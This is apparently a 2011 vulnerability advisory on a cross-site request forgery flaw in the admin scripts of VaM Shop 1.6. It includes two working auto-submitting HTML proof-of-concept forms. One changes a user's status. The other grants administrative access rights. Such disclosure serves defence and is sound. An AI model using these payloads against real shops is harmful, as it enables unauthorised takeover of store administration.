XSRF (CSRF) in VaM Shop

Type securityvulns
Reporter Securityvulns
Modified 2011-01-11T00:00:00


Vulnerability ID: HTB22780 Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_vam_shop.html Product: VaM Shop Vendor: Vamsoft ( http://vamshop.ru/ ) Vulnerable Version: 1.6 and Probably Prior Versions Vendor Notification: 28 December 2010 Vulnerability Type: CSRF (Cross-Site Request Forgery) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Low Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details: The vulnerability exists due to failure in the "admin/accounting.php" script to properly verify the source of HTTP request.

Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available. Change user status:

<form action="http://host/admin/customers.php?page=1&cID=USERID&action=statusconfirm" method="post" name="main"> <input type="hidden" name="status" value="0"> </form> <script> document.main.submit(); </script>

Change user permissions:

<form action="http://host/admin/accounting.php?cID=USERID&action=save" method="post" name="main" enctype="multipart/form-data"> <input type="hidden" name="access[]" value="configuration"> <input type="hidden" name="access[]" value="modules"> <input type="hidden" name="access[]" value="customers"> <input type="hidden" name="access[]" value="start"> <input type="hidden" name="access[]" value="content_manager"> <input type="hidden" name="access[]" value="categories"> </form> <script> document.main.submit(); </script>